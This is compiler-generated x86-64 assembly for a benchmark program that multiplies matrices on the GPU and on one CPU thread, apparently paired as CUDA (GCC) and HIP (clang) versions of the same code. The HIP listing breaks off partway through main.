pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $72, %rsp
.cfi_def_cfa_offset 128
movq %rdi, %r12
movq %rsi, %rbp
movq %rdx, %r15
movl %ecx, %r13d
movq %fs:40, %rax
movq %rax, 56(%rsp)
xorl %eax, %eax
movslq %ecx, %rbx
movl $8, 32(%rsp)
movl $8, 36(%rsp)
movl $1, 40(%rsp)
movl $128, 44(%rsp)
movl $128, 48(%rsp)
movl $1, 52(%rsp)
movl %ecx, %r14d
imull %ecx, %r14d
sall $2, %r14d
movslq %r14d, %r14
leaq 8(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
movl $1, %ecx
movq %r14, %rdx
movq %r12, %rsi
movq 8(%rsp), %rdi
call cudaMemcpy@PLT
leaq 16(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
movl $1, %ecx
movq %r14, %rdx
movq %rbp, %rsi
movq 16(%rsp), %rdi
call cudaMemcpy@PLT
leaq 24(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
imulq $274877907, %rbx, %rbp
sarq $38, %rbp
movl %r13d, %eax
sarl $31, %eax
subl %eax, %ebp
movl $0, %r12d
cmpl $999, %r13d
jg .L46
.L47:
movl $2, %ecx
movq %r14, %rdx
movq 24(%rsp), %rsi
movq %r15, %rdi
call cudaMemcpy@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movq 16(%rsp), %rdi
call cudaFree@PLT
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 56(%rsp), %rax
subq %fs:40, %rax
jne .L55
addq $72, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L48:
.cfi_restore_state
addl $1, %ebx
cmpl %ebp, %ebx
jge .L56
.L49:
movl 40(%rsp), %ecx
movl $0, %r9d
movl $0, %r8d
movq 32(%rsp), %rdx
movq 44(%rsp), %rdi
movl 52(%rsp), %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L48
subq $8, %rsp
.cfi_def_cfa_offset 136
pushq %r13
.cfi_def_cfa_offset 144
movl $1000, %r9d
movl %ebx, %r8d
movl %r12d, %ecx
movq 40(%rsp), %rdx
movq 32(%rsp), %rsi
movq 24(%rsp), %rdi
call _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L48
.L56:
addl $1, %r12d
cmpl %ebp, %r12d
jge .L47
.L46:
movl $0, %ebx
jmp .L49
.L55:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2073:
.size _Z9cuda_mmulPfS_S_i, .-_Z9cuda_mmulPfS_S_i
.section .rodata.str1.1
.LC6:
.string "Usage: %s -n N\n"
.LC7:
.string "n:p:"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC8:
.string "Multi Thread Computation Start\n"
.section .rodata.str1.1
.LC9:
.string "clock_gettime"
.section .rodata.str1.8
.align 8
.LC11:
.string "Multi Thread Computation End: %.3f us.\n"
.align 8
.LC12:
.string "Single Thread Computation Start\n"
.align 8
.LC13:
.string "Single Thread Computation End: %.3f us.\n"
.section .rodata.str1.1
.LC16:
.string "Verification Fail.\n"
.LC17:
.string "(%d, %d): %f - %f\n"
.LC18:
.string "Verification Success.\n"
.text
.globl main
.type main, @function
main:
.LFB2075:
.cfi_startproc
endbr64
pushq %r13
.cfi_def_cfa_offset 16
.cfi_offset 13, -16
pushq %r12
.cfi_def_cfa_offset 24
.cfi_offset 12, -24
pushq %rbp
.cfi_def_cfa_offset 32
.cfi_offset 6, -32
pushq %rbx
.cfi_def_cfa_offset 40
.cfi_offset 3, -40
subq $56, %rsp
.cfi_def_cfa_offset 96
movl %edi, %r12d
movq %rsi, %rbx
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
leaq .LC7(%rip), %rbp
.L60:
movq %rbp, %rdx
movq %rbx, %rsi
movl %r12d, %edi
call getopt@PLT
cmpl $-1, %eax
je .L80
cmpl $63, %eax
je .L59
cmpl $110, %eax
jne .L60
movl $10, %edx
movl $0, %esi
movq optarg(%rip), %rdi
call __isoc23_strtol@PLT
movl %eax, size(%rip)
jmp .L60
.L59:
movq (%rbx), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.L80:
movl size(%rip), %edi
testl %edi, %edi
jle .L81
call _Z11make_matrixi
movq %rax, matrixA(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixB(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixC_serial(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixC_cuda(%rip)
movl $0, %edi
call time@PLT
movq %rax, %rdi
call srand48@PLT
movl size(%rip), %esi
movq matrixA(%rip), %rdi
call _Z10set_matrixPfi
movl size(%rip), %esi
movq matrixB(%rip), %rdi
call _Z10set_matrixPfi
leaq .LC8(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rsp, %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L82
movl size(%rip), %ecx
movq matrixC_cuda(%rip), %rdx
movq matrixB(%rip), %rsi
movq matrixA(%rip), %rdi
call _Z9cuda_mmulPfS_S_i
leaq 16(%rsp), %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L83
imulq $1000000000, 16(%rsp), %rax
addq 24(%rsp), %rax
imulq $1000000000, (%rsp), %rdx
addq 8(%rsp), %rdx
subq %rdx, %rax
pxor %xmm0, %xmm0
cvtsi2sdq %rax, %xmm0
divsd .LC10(%rip), %xmm0
leaq .LC11(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
leaq .LC12(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rsp, %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L84
movq matrixC_serial(%rip), %rdx
movq matrixB(%rip), %rsi
movq matrixA(%rip), %rdi
call _Z11serial_mmulPfS_S_
leaq 16(%rsp), %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L85
imulq $1000000000, 16(%rsp), %rax
addq 24(%rsp), %rax
imulq $1000000000, (%rsp), %rdx
addq 8(%rsp), %rdx
subq %rdx, %rax
pxor %xmm0, %xmm0
cvtsi2sdq %rax, %xmm0
divsd .LC10(%rip), %xmm0
leaq .LC13(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movl $0, %ebp
leaq .LC16(%rip), %r13
jmp .L67
.L81:
movq (%rbx), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.L82:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L83:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L84:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L85:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L68:
addl $1, %ebx
movl size(%rip), %eax
cmpl %ebx, %eax
jle .L72
.L70:
imull %ebp, %eax
addl %ebx, %eax
cltq
movq matrixC_cuda(%rip), %rdx
movss (%rdx,%rax,4), %xmm0
movq matrixC_serial(%rip), %rdx
subss (%rdx,%rax,4), %xmm0
andps .LC14(%rip), %xmm0
cvtss2sd %xmm0, %xmm0
comisd .LC15(%rip), %xmm0
jbe .L68
movq %r13, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl %ebp, %eax
imull size(%rip), %eax
addl %ebx, %eax
cltq
movq matrixC_cuda(%rip), %rdx
pxor %xmm0, %xmm0
cvtss2sd (%rdx,%rax,4), %xmm0
movq matrixC_serial(%rip), %rdx
pxor %xmm1, %xmm1
cvtss2sd (%rdx,%rax,4), %xmm1
movl %ebx, %ecx
movl %ebp, %edx
movq %r12, %rsi
movl $2, %edi
movl $2, %eax
call __printf_chk@PLT
jmp .L68
.L72:
addl $1, %ebp
.L67:
movl size(%rip), %eax
cmpl %ebp, %eax
jle .L71
movl $0, %ebx
leaq .LC17(%rip), %r12
testl %eax, %eax
jg .L70
jmp .L72
.L71:
leaq .LC18(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L86
movl $0, %eax
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 40
popq %rbx
.cfi_def_cfa_offset 32
popq %rbp
.cfi_def_cfa_offset 24
popq %r12
.cfi_def_cfa_offset 16
popq %r13
.cfi_def_cfa_offset 8
ret
.L86:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2075:
.size main, .-main
.section .rodata.str1.1
.LC19:
.string "_Z10cudaMatMulPfS_S_iiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2103:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC19(%rip), %rdx
movq %rdx, %rcx
leaq _Z10cudaMatMulPfS_S_iiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2103:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.globl matrixC_cuda
.bss
.align 8
.type matrixC_cuda, @object
.size matrixC_cuda, 8
matrixC_cuda:
.zero 8
.globl matrixC_serial
.align 8
.type matrixC_serial, @object
.size matrixC_serial, 8
matrixC_serial:
.zero 8
.globl matrixBT
.align 8
.type matrixBT, @object
.size matrixBT, 8
matrixBT:
.zero 8
.globl matrixB
.align 8
.type matrixB, @object
.size matrixB, 8
matrixB:
.zero 8
.globl matrixA
.align 8
.type matrixA, @object
.size matrixA, 8
matrixA:
.zero 8
.globl size
.align 4
.type size, @object
.size size, 4
size:
.zero 4
.section .rodata.cst8,"aM",@progbits,8
.align 8
.LC10:
.long 0
.long 1083129856
.section .rodata.cst16,"aM",@progbits,16
.align 16
.LC14:
.long 2147483647
.long 0
.long 0
.long 0
.section .rodata.cst8
.align 8
.LC15:
.long -755914244
.long 1062232653
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "prob1.hip"
.globl _Z25__device_stub__cudaMatMulPfS_S_iiii # -- Begin function _Z25__device_stub__cudaMatMulPfS_S_iiii
.p2align 4, 0x90
.type _Z25__device_stub__cudaMatMulPfS_S_iiii,@function
_Z25__device_stub__cudaMatMulPfS_S_iiii: # @_Z25__device_stub__cudaMatMulPfS_S_iiii
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movl %ecx, 20(%rsp)
movl %r8d, 16(%rsp)
movl %r9d, 12(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 20(%rsp), %rax
movq %rax, 120(%rsp)
leaq 16(%rsp), %rax
movq %rax, 128(%rsp)
leaq 12(%rsp), %rax
movq %rax, 136(%rsp)
leaq 160(%rsp), %rax
movq %rax, 144(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z10cudaMatMulPfS_S_iiii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z25__device_stub__cudaMatMulPfS_S_iiii, .Lfunc_end0-_Z25__device_stub__cudaMatMulPfS_S_iiii
.cfi_endproc
# -- End function
.globl _Z11make_matrixi # -- Begin function _Z11make_matrixi
.p2align 4, 0x90
.type _Z11make_matrixi,@function
_Z11make_matrixi: # @_Z11make_matrixi
.cfi_startproc
# %bb.0:
pushq %rax
.cfi_def_cfa_offset 16
movslq %edi, %rdi
imulq %rdi, %rdi
shlq $2, %rdi
callq malloc
testq %rax, %rax
je .LBB1_2
# %bb.1:
popq %rcx
.cfi_def_cfa_offset 8
retq
.LBB1_2:
.cfi_def_cfa_offset 16
movl $.L.str, %edi
callq perror
xorl %edi, %edi
callq exit
.Lfunc_end1:
.size _Z11make_matrixi, .Lfunc_end1-_Z11make_matrixi
.cfi_endproc
# -- End function
.globl _Z10set_matrixPfi # -- Begin function _Z10set_matrixPfi
.p2align 4, 0x90
.type _Z10set_matrixPfi,@function
_Z10set_matrixPfi: # @_Z10set_matrixPfi
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
pushq %rax
.cfi_def_cfa_offset 64
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movq %rdi, (%rsp) # 8-byte Spill
testl %esi, %esi
jle .LBB2_5
# %bb.1: # %.preheader.lr.ph
movl %esi, %ebx
movl %esi, %r15d
xorl %r12d, %r12d
xorl %r13d, %r13d
.p2align 4, 0x90
.LBB2_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB2_3 Depth 2
movl %r12d, %eax
movq (%rsp), %rcx # 8-byte Reload
leaq (%rcx,%rax,4), %rbp
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB2_3: # Parent Loop BB2_2 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%rbp,%r14,4)
incq %r14
cmpq %r14, %r15
jne .LBB2_3
# %bb.4: # %._crit_edge
# in Loop: Header=BB2_2 Depth=1
incq %r13
addl %ebx, %r12d
cmpq %r15, %r13
jne .LBB2_2
.LBB2_5: # %._crit_edge13
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end2:
.size _Z10set_matrixPfi, .Lfunc_end2-_Z10set_matrixPfi
.cfi_endproc
# -- End function
.globl _Z12print_matrixPdi # -- Begin function _Z12print_matrixPdi
.p2align 4, 0x90
.type _Z12print_matrixPdi,@function
_Z12print_matrixPdi: # @_Z12print_matrixPdi
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
pushq %rax
.cfi_def_cfa_offset 64
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl %esi, %ebx
movq %rdi, (%rsp) # 8-byte Spill
movl $91, %edi
callq putchar@PLT
testl %ebx, %ebx
jle .LBB3_5
# %bb.1: # %.preheader.lr.ph
movl %ebx, %r15d
xorl %r12d, %r12d
xorl %r13d, %r13d
.p2align 4, 0x90
.LBB3_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB3_3 Depth 2
movl %r12d, %eax
movq (%rsp), %rcx # 8-byte Reload
leaq (%rcx,%rax,8), %rbp
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB3_3: # Parent Loop BB3_2 Depth=1
# => This Inner Loop Header: Depth=2
movsd (%rbp,%r14,8), %xmm0 # xmm0 = mem[0],zero
movl $.L.str.2, %edi
movb $1, %al
callq printf
incq %r14
cmpq %r14, %r15
jne .LBB3_3
# %bb.4: # %._crit_edge
# in Loop: Header=BB3_2 Depth=1
movl $59, %edi
callq putchar@PLT
incq %r13
addl %ebx, %r12d
cmpq %r15, %r13
jne .LBB3_2
.LBB3_5: # %._crit_edge14
movl $.Lstr, %edi
addq $8, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
jmp puts@PLT # TAILCALL
.Lfunc_end3:
.size _Z12print_matrixPdi, .Lfunc_end3-_Z12print_matrixPdi
.cfi_endproc
# -- End function
.globl _Z9cuda_mmulPfS_S_i # -- Begin function _Z9cuda_mmulPfS_S_i
.p2align 4, 0x90
.type _Z9cuda_mmulPfS_S_i,@function
_Z9cuda_mmulPfS_S_i: # @_Z9cuda_mmulPfS_S_i
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $184, %rsp
.cfi_def_cfa_offset 240
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movl %ecx, %ebp
movq %rdx, 48(%rsp) # 8-byte Spill
movq %rsi, %rbx
movq %rdi, %r14
movl %ecx, %eax
imull %ecx, %eax
shll $2, %eax
movslq %eax, %r15
leaq 16(%rsp), %rdi
movq %r15, %rsi
callq hipMalloc
movq 16(%rsp), %rdi
movq %r14, %rsi
movq %r15, %rdx
movl $1, %ecx
callq hipMemcpy
leaq 8(%rsp), %rdi
movq %r15, %rsi
callq hipMalloc
movq 8(%rsp), %rdi
movq %rbx, %rsi
movq %r15, %rdx
movl $1, %ecx
callq hipMemcpy
movq %rsp, %rdi
movq %r15, 40(%rsp) # 8-byte Spill
movq %r15, %rsi
callq hipMalloc
cmpl $1000, %ebp # imm = 0x3E8
jl .LBB4_7
# %bb.1: # %.preheader.lr.ph
movslq %ebp, %rax
imulq $274877907, %rax, %r14 # imm = 0x10624DD3
movq %r14, %rax
shrq $63, %rax
sarq $38, %r14
addl %eax, %r14d
xorl %r13d, %r13d
movabsq $549755814016, %r15 # imm = 0x8000000080
movabsq $34359738376, %r12 # imm = 0x800000008
jmp .LBB4_2
.p2align 4, 0x90
.LBB4_6: # %._crit_edge
# in Loop: Header=BB4_2 Depth=1
incl %r13d
cmpl %r14d, %r13d
je .LBB4_7
.LBB4_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB4_3 Depth 2
xorl %ebx, %ebx
jmp .LBB4_3
.p2align 4, 0x90
.LBB4_5: # in Loop: Header=BB4_3 Depth=2
incl %ebx
cmpl %ebx, %r14d
je .LBB4_6
.LBB4_3: # %.lr.ph
# Parent Loop BB4_2 Depth=1
# => This Inner Loop Header: Depth=2
movq %r15, %rdi
movl $1, %esi
movq %r12, %rdx
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB4_5
# %bb.4: # in Loop: Header=BB4_3 Depth=2
movq 16(%rsp), %rax
movq 8(%rsp), %rcx
movq (%rsp), %rdx
movq %rax, 120(%rsp)
movq %rcx, 112(%rsp)
movq %rdx, 104(%rsp)
movl %r13d, 36(%rsp)
movl %ebx, 32(%rsp)
movl $1000, 28(%rsp) # imm = 0x3E8
movl %ebp, 24(%rsp)
leaq 120(%rsp), %rax
movq %rax, 128(%rsp)
leaq 112(%rsp), %rax
movq %rax, 136(%rsp)
leaq 104(%rsp), %rax
movq %rax, 144(%rsp)
leaq 36(%rsp), %rax
movq %rax, 152(%rsp)
leaq 32(%rsp), %rax
movq %rax, 160(%rsp)
leaq 28(%rsp), %rax
movq %rax, 168(%rsp)
leaq 24(%rsp), %rax
movq %rax, 176(%rsp)
leaq 88(%rsp), %rdi
leaq 72(%rsp), %rsi
leaq 64(%rsp), %rdx
leaq 56(%rsp), %rcx
callq __hipPopCallConfiguration
movq 88(%rsp), %rsi
movl 96(%rsp), %edx
movq 72(%rsp), %rcx
movl 80(%rsp), %r8d
movl $_Z10cudaMatMulPfS_S_iiii, %edi
leaq 128(%rsp), %r9
pushq 56(%rsp)
.cfi_adjust_cfa_offset 8
pushq 72(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
jmp .LBB4_5
.LBB4_7: # %._crit_edge31
movq (%rsp), %rsi
movq 48(%rsp), %rdi # 8-byte Reload
movq 40(%rsp), %rdx # 8-byte Reload
movl $2, %ecx
callq hipMemcpy
movq 16(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq (%rsp), %rdi
callq hipFree
addq $184, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.Lfunc_end4:
.size _Z9cuda_mmulPfS_S_i, .Lfunc_end4-_Z9cuda_mmulPfS_S_i
.cfi_endproc
# -- End function
.globl _Z11serial_mmulPfS_S_ # -- Begin function _Z11serial_mmulPfS_S_
.p2align 4, 0x90
.type _Z11serial_mmulPfS_S_,@function
_Z11serial_mmulPfS_S_: # @_Z11serial_mmulPfS_S_
.cfi_startproc
# %bb.0:
movl size(%rip), %eax
testl %eax, %eax
jle .LBB5_8
# %bb.1: # %.preheader.lr.ph
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r12
.cfi_def_cfa_offset 32
pushq %rbx
.cfi_def_cfa_offset 40
.cfi_offset %rbx, -40
.cfi_offset %r12, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
leaq (,%rax,4), %rcx
xorl %r8d, %r8d
xorl %r9d, %r9d
.p2align 4, 0x90
.LBB5_2: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB5_3 Depth 2
# Child Loop BB5_4 Depth 3
movl %r8d, %r10d
leaq (%rdi,%r10,4), %r10
movq %r9, %r11
imulq %rax, %r11
leaq (%rdx,%r11,4), %r11
movq %rsi, %rbx
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB5_3: # %.lr.ph
# Parent Loop BB5_2 Depth=1
# => This Loop Header: Depth=2
# Child Loop BB5_4 Depth 3
movl $0, (%r11,%r14,4)
xorps %xmm0, %xmm0
movq %rbx, %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB5_4: # Parent Loop BB5_2 Depth=1
# Parent Loop BB5_3 Depth=2
# => This Inner Loop Header: Depth=3
movss (%r10,%r12,4), %xmm1 # xmm1 = mem[0],zero,zero,zero
mulss (%r15), %xmm1
addss %xmm1, %xmm0
movss %xmm0, (%r11,%r14,4)
incq %r12
addq %rcx, %r15
cmpq %r12, %rax
jne .LBB5_4
# %bb.5: # %._crit_edge
# in Loop: Header=BB5_3 Depth=2
incq %r14
addq $4, %rbx
cmpq %rax, %r14
jne .LBB5_3
# %bb.6: # %._crit_edge24
# in Loop: Header=BB5_2 Depth=1
incq %r9
addl %eax, %r8d
cmpq %rax, %r9
jne .LBB5_2
# %bb.7:
popq %rbx
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
.cfi_restore %rbx
.cfi_restore %r12
.cfi_restore %r14
.cfi_restore %r15
.LBB5_8: # %._crit_edge26
retq
.Lfunc_end5:
.size _Z11serial_mmulPfS_S_, .Lfunc_end5-_Z11serial_mmulPfS_S_
.cfi_endproc
# -- End function
.section .rodata.cst8,"aM",@progbits,8
.p2align 3, 0x0 # -- Begin function main
.LCPI6_0:
.quad 0x408f400000000000 # double 1000
.LCPI6_2:
.quad 0x3f50624dd2f1a9fc # double 0.001
.section .rodata.cst16,"aM",@progbits,16
.p2align 4, 0x0
.LCPI6_1:
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.long 0x7fffffff # float NaN
.text
.globl main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
pushq %r15
.cfi_def_cfa_offset 24
pushq %r14
.cfi_def_cfa_offset 32
pushq %r13
.cfi_def_cfa_offset 40
pushq %r12
.cfi_def_cfa_offset 48
pushq %rbx
.cfi_def_cfa_offset 56
subq $40, %rsp
.cfi_def_cfa_offset 96
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
.cfi_offset %rbp, -16
movq %rsi, %rbx
movl %edi, %ebp
jmp .LBB6_1
.p2align 4, 0x90
.LBB6_43: # in Loop: Header=BB6_1 Depth=1
movq optarg(%rip), %rdi
xorl %esi, %esi
movl $10, %edx
callq __isoc23_strtol
movl %eax, size(%rip)
.LBB6_1: # =>This Inner Loop Header: Depth=1
movl $.L.str.5, %edx
movl %ebp, %edi
movq %rbx, %rsi
callq getopt
cmpl $110, %eax
je .LBB6_43
# %bb.2: # in Loop: Header=BB6_1 Depth=1
cmpl $-1, %eax
je .LBB6_5
# %bb.3: # in Loop: Header=BB6_1 Depth=1
cmpl $63, %eax
jne .LBB6_1
.LBB6_4:
movq (%rbx), %rsi
movl $.L.str.6, %edi
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.LBB6_5:
movl size(%rip), %r14d
testl %r14d, %r14d
jle .LBB6_4
# %bb.6:
imulq %r14, %r14
shlq $2, %r14
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.9: # %_Z11make_matrixi.exit
movq %rax, matrixA(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.10: # %_Z11make_matrixi.exit32
movq %rax, matrixB(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.11: # %_Z11make_matrixi.exit33
movq %rax, matrixC_serial(%rip)
movq %r14, %rdi
callq malloc
testq %rax, %rax
je .LBB6_7
# %bb.12: # %_Z11make_matrixi.exit34
movq %rax, matrixC_cuda(%rip)
xorl %ebx, %ebx
xorl %edi, %edi
callq time
movq %rax, %rdi
callq srand48
movl size(%rip), %r14d
testl %r14d, %r14d
jle .LBB6_17
# %bb.13: # %.preheader.lr.ph.i
movq matrixA(%rip), %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_14: # %.preheader.i
# =>This Loop Header: Depth=1
# Child Loop BB6_15 Depth 2
movl %ebx, %eax
leaq (%r15,%rax,4), %r13
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB6_15: # Parent Loop BB6_14 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%r13,%rbp,4)
incq %rbp
cmpq %rbp, %r14
jne .LBB6_15
# %bb.16: # %._crit_edge.i
# in Loop: Header=BB6_14 Depth=1
incq %r12
addl %r14d, %ebx
cmpq %r14, %r12
jne .LBB6_14
.LBB6_17: # %_Z10set_matrixPfi.exit
movl size(%rip), %ebx
testl %ebx, %ebx
jle .LBB6_22
# %bb.18: # %.preheader.lr.ph.i35
movq matrixB(%rip), %r14
